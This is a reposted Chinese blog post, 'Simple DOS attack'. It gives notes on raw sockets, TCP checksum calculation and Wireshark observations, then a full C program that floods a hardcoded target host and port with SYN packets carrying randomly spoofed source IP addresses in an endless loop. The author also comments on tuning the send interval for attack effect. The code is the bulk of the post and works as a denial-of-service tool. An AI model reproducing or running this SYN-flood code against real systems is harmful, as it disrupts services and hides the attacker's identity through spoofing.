简单DOS攻击

来源:互联网 发布:淘宝 400 编辑:程序博客网 时间:2024/05/16 06:27


写在前面的:

1,在 socket(AF_INET,SOCK_RAW,IPPROTO_TCP)中,发出去的包会帮你计算ip的校验和,故在填充ip包头的时候可以不用管,也可设置为0,
但是tcp的校验和需要自己计算,且如果计算不对的话,可能达不到效果。

2,tcp的校验和还要包括伪首部,这是很重要的,否则计算也不对。

3,重发时间大概在   1.19 1.60 3.20 3.60  10.20  10.60 15.60  31.60

4,在ip 的identication字段,填写的是
  ⑤标识 (Identification):占 16位。

IP软件在存储器中维持一个计数器,每产生一个数据报,

计数器就加 1,并将此值赋给标识字段。但这个“标识”并不是序号,

因为 IP是无连接的服务,数据报不存在按序接收的问题。

当数据报由于长度超过网络的 MTU 而必须分片时,

这个标识字段的值就被复制到所有的数据报的标识字段中。

相同的标识字段的值使分片后的各数据报片最后能正确地重装成为

原来的数据报。

在我发出去的每个包,即SYN包,id字段是递增的(从某个数开始,好像是6375吧),
但是,target回包的时候(SYN+ACK),这个字段都是0,为什么呢???(我知道了,是不是SYN+ACK)是很小的,不可能分片,故不需要这个id来重组。。。,只需要看见ip.src和ip.dst就可以)。



4,在用wireshark抓包的时候,会有个stream index字段(这个字段在包里面是没有的,它是ws自己添加的)功能是,标识每一次对话(ipa,porta,ipb,portb),如果多个包的双方都是一次对话,那么他的stream index就是一致的。即一次对话。

the stream index is an internal Wireshark mapping to: [IP address A, TCP port A, IP address B, TCP port B]

All the packets for the same tcp.stream value should have the same values for these fields (though the src/dest will be switched for A->B and B->A packets)

see the Statistics/Conversations/TCP tab in Wireshark to show a summary of these streams

http://stackoverflow.com/questions/6076897/follow-tcp-stream-where-does-field-stream-index-come-from

Statistics/Conversations/TCP
Statistics/Conversations/endpoints/tcp
可以看到这些索引号对应的数据流


5知道了,我发出去的包,没有回应的都是多播地址,超过224.0.0.0就不会回应了。。。。




6,还发现,如果发包太快,接收方不会持续re包,只会相应一次。。。把时间调到1秒间隔,效果相当好。
但是,达不到攻击要求,故还需要精确的间隔。如0.5秒。但是sleep做不到,用usleep可以精确到微妙。usleep(1000)表示0.1秒,即1毫秒,1000微秒。


#include <stdlib.h>#include <stdio.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <netdb.h>#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <sys/types.h>#include <arpa/inet.h>#include <linux/tcp.h>#include <netdb.h>#include <time.h>#define oops(msg){perror(msg);exit(0);}void attack(int sockfd,struct sockaddr_in *target);// 攻击函数,target为目标地址unsigned short check_sum(unsigned short *addr,int prelen,int len);// tcp校验和函数,因为校验和还要有伪首部,prelen是计算伪首部部分的参数,// 伪首部包括ipsrc,ipdst,ip协议(这里是tcp,故为0x06),tcp长度int main(int ac,char**av){        /* 得到原始套接子,让自己构造的包能够发送出去。    //这种套接子可以自己构造tcp,且ip部分的校验和是由内核帮你完成的    不用计算ip校验和。*/    int sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);    if(sockfd<0)oops("socket");    const int on=1;    if(ac!=2)oops("usage:dstport");//dstport为扫描得到的target的开放端口。   struct sockaddr_in target;     /*构造攻击的目标地址 */    bzero(&target,sizeof(target));    target.sin_family=AF_INET;    target.sin_port=htons(atoi(av[1]));    if(inet_aton("192.168.1.101",&target.sin_addr)==0)oops("aton");    /* 设置套接子的IP_HDRINCL选项,打开该选项,可以手动构造ip头部,     * 且ip头部的校验和由内核维护。     * 如果不打开该选项,ip首部不能够手动构造,是内核维护的,首部中的协议     * 字段设置为调用socket函数时传递的第三个参数*/    if((setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))<0)oops("setsocketopt");    /*一切就绪,开始像目标主机发包攻击*/    attack(sockfd,&target);}void attack(int sockfd,struct sockaddr_in *target){    char buff[128]={0};//初始化包。    struct ip *ip; //其实这里也可也用struct iphdr,不过struct ip 兼容性更好    struct tcphdr *tcp;    int ip_len;// 整个ip包长度(不含mac等)    ip_len=sizeof(struct ip)+sizeof(struct tcphdr);    /*构造ip头部*/    ip=(struct ip*)buff;    ip->ip_v=IPVERSION;    ip->ip_hl=sizeof(struct ip)>>2;//ip首部长度以4字节为单位,这里故除以4    ip->ip_tos=0;    ip->ip_len=htons(ip_len);//这里注意字节序列的切换,因为ip_len是2字节的    ip->ip_id=0;//表示校验和由内核维护。    //这里的id通常情况下是表示同一个ip包的各个分片的标识。这里设为0,由内核    //维护。    ip->ip_ttl=MAXTTL;    ip->ip_p=IPPROTO_TCP;    ip->ip_sum=0;//校验和设为0;    //这里的DF,MF,段偏移等字段没有设置,默认初始化0,没有问题。    ip->ip_dst=target->sin_addr;//将target的地址填入包中。         /*构造tcp头部*/    tcp=(struct tcphdr*)(buff+sizeof(struct ip));    tcp->source=htons(4000);//这里默认本地端口为4000;    tcp->dest=target->sin_port;    tcp->seq=0;    tcp->doff=5;//这个字段是头部偏移字段,占4位,表示头部的长度,    //以4字节为单位,这里tcp头部20字节,填入5(没有任何选项)    tcp->syn=1;//syn字段,占1位,其余flags默认0.    tcp->check=0;//这里的校验和要先填入0,不然在计算校验和时会陷入鸡生蛋,蛋生鸡的问题。    /*包已经大部分构造好了,还差ip.src和tcp校验和,这里采取的随机生成     * ip.src,故校验和要计算,每次随机生成ip.src,就发包。*/    while(1)    {srand(time(0));//随机种子,不然每次随机都是一样的。ip->ip_src.s_addr=random();//这里不用关心字节顺序,反正是随机的。printf("random ip %s\n",inet_ntoa(ip->ip_src));//可以打印看看。/*参数解释,其中6是指跨越ip首部的6个short型,到达ip.src的位置, * 8是指,参与tcp的伪首部,包括ip.src,ip.dst,共8个short。 * 当然,伪首部还有协议类型和tcp长度,这里在后面细说, * 20,指tcp头部长度。*/tcp->check=0;//很重要,如果不初始化,那么后面的包会隔一个就校验和为0,然后隔一个正确//探索了好久,打印了n多信息才发现。。tcp->check=check_sum(((unsigned short*)ip+6),8,20);sendto(sockfd,buff,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));    }}unsigned short check_sum(unsigned short *addr,int prelen,int len){    usleep(100000);//停留1毫秒,这个后面解释。    unsigned long sum=0;    /*伪首部之ip部分*/    while(prelen>1)    {sum+=*addr++;prelen-=sizeof(unsigned short);    }    if(prelen)sum+=*(unsigned char*)addr;    /*伪首部之协议类型和tcp长度*/    sum=sum+htons(0x0006)+htons(0x0014);    //0x0006即tcp协议,0x0014即tcp长度20.注意,这里长度包括tcp的数据    //部分,但这里没有数据,只有头部。且这两个数据要单方面计算,不能组合。       /*校验和的tcp部分*/     while(len>1)    {sum+=*addr++;len-=sizeof(unsigned short);    }    if(len)sum+=*(unsigned char*)addr;    /*校验和是short型,若超过了,要处理*/    while(sum>>16)sum=(sum>>16)+(sum&0xffff);    return (unsigned short)~sum;}/*这个程序可以实现已知攻击者的ip和开放端口的攻击, * 但通过试验发现,如果发包频率为1个/s,那么可以看到target会连续的 * 会送相应的SYN+ACK包,可以达到效果,但这基本上起步到作用。 * 但是,如果发包太快,发现target只会响应一次ACK+SYN(针对每个包) * 我也不知道是什么情况*/    



0 0
原创粉丝点击